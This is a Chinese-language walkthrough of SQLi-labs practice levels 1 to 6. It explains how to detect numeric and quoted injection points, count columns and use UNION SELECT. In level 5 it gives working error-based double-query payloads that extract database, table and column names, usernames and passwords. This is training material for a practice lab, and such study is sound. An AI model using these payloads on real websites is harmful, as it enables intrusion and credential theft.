目录
Less-1
1.Please input the ID as parameter with numeric value,意思是:请以数字值作为参数输入id。
2.通过随机输入id得知用户名和密码。接下来我们要查询数据库中的数据。
首先我们要判断 Sql 注入漏洞的类型:
1.数字型
2.字符型
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。
- 数字型判断:
用 and 1=1 和 and 1=2 来判断:
1.Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
2.Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。因为逻辑判断错误。1并不等于2。
此时页面显示正常,说明不是数字型注入漏洞
- 字符型判断
概述:当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号或其它特殊符号来闭合,而字符串一般需要通过特殊符号,如单引号来闭合的。
如果一条后台语句为:$sql="SELECT * FROM users WHERE id='1 ' LIMIT 0,1",这里的“1”被加上了单引号,使我们无法查询
我们可以通过在URL地址栏输入?id=1' 来判断是否是字符型注入,
输入?id=1',这时候1后面的单引号把原本语句的一对单引号隔开了,变成了?id='1'',多出了一个单引号,正常来说,包裹着id变量的单引号是成对,这样的语句结构没有问题的,多出了一个单引号就报错了破坏了原本的sql语句结构,并且这条语句被带进数据库进行查询,数据库由于无法处理这条 ‘非正常’ 的语句,所以也就报错了,由于数据库和前端页面是交互的,所以前端页面也会出现异常或者报错,会报错说明这条语句成功被带进数据库查询,存在字符型注入
3.加入“ ‘ ”后出现语法错误,说明sql语句中的id加上引号进行了闭合,使我们无法查询到信息。在后面加“-–+” 把后面的语句注释掉,这样子sql语句就会形成闭合
加入 “ ‘ ”后执行的sql语句为$sql=“SELECT * FROM user WHERE id='1' union select 1,2,3--+ 'LIMIT 0,1"
4.判断有几列,用order by来验证 返回了正常值
5.输入 1' order by 2--+
和 1' order by 3--+
时也都返回正常,当输入 1' order by 4--+
时返回错误,说明
表中只有3个字段,数据为3列。
6.接下来我们使用 union select
联合查询继续获取信息。
发现页面先输出了2和3,说明页面有2个显示位, 这个显示位指的是网页中能够显示数据的位置。进行联合查询判断显示位时,要在“?id=1” 1的前面加-号或者改为0让前面的select语句查询为空错误,然后采用后面的select语句去查询。(或输入变量id取不到的值,通过尝试发现当id=11后,无id,所以可输入11以后的数字。)
7.查询数据库名。
8.查询表名
$sql=“SELECT * FROM user WHERE id='1' union select 1,2,3--+ 'LIMIT 0,1"
9.查询列名,我们可以使用 group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成
10.查所有的用户名
11.查所有的密码。
Less-2
1.判断类型:
2.通过 order by 语句确定列数,发现和第一题一样,那么接下来的操作也和第一题一样,查询数据库中的用户名和密码。
3.查询显示位
4.获取数据库名
5.获取表名
6.获取列名
7.获取用户名
8.获取密码
Less-3
1.用and1=2判断是否是数字型注入,执行后页面正常,说明不是数字型注入。
2.输入?id=1' 后报错,说明不是通过“ ’ ”来加密,那么我们可以多进行几次尝试,用“ )”尝试。
3.加入“ ) ”页面不显示,此时我们查看源代码:
发现id被()和 ‘’ 加密,此时我们可以通过加入“ ‘)” 绕过它。
4.填上“ ’)”后发现页面有反应,通过order by语句我们中的了有几列,接下来就按照一般方法查询它的用户名和密码
5.查询显示位
6. 获取表名。
7.获取列名。
8.获取用户名。
9.获取密码。
Less-4
1.查看源代码,代码对$id进行了处理,加入了双引号,此时我们绕过它,在url上加入”)就可以形成闭合,源代码如下:SELECT * FROM users WHERE id=("1") union select 1,2,3 --+") LIMIT 0,1",之后的操作步骤与第一题一样。
2.获取数据库
4.获取用户名
3.获取密码
Less-5
1.首先还是判断id类型,判断出id是用单引号''
包裹的
2. 查看源码,代码中没有输出 $row 这个查询结果,所以不管我们输入什么id,都不会输出数据。
3..页面显示与前四道不同,看到题目提示:Double Injection(双查询注入)
双注入:
有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
双查询注入:是两个嵌套的查询,即select ...(select ...),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组
双注入破解原理:组合利用count(), group by, floor(),能够将查询的一部分以报错的形式显现出来。
双注入的公式:
select count(*),concat((payload), floor(rand(0)*2)) as a from information_schema.tables group by a
4.我们先判断有几个字段数
5.我们利用语句 :
?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
通过报错来显示数据库名。
6.我们通过语句:
?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
通过报错来显示表名。
7.使用语句:
?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出列名
8.使用语句:
?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出用户名。
注:使用limit关键字时有两个参数,如:limit arg1,arg2;
其中:arg1表示从哪一行开始,初始行为0;
arg2表示显示多少行,如:limit 0,2;limit 1,2;这两种方式都是显示两条数据,只不过一条是从第0行开始,一条是从第1条开始。
9.使用语句:
?id=1' union select 1, count(*), concat((select password from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出密码。
Less-6
1.常规操作:输入id值
2.判断类型:
是双引号字符型注入
3.接下来的步骤与第五关相同,用双注入破解,通过报错获取数据。
4.获取数据库名
5.获取表名。
6.获取列名。
7.获取用户名。
8.获取密码。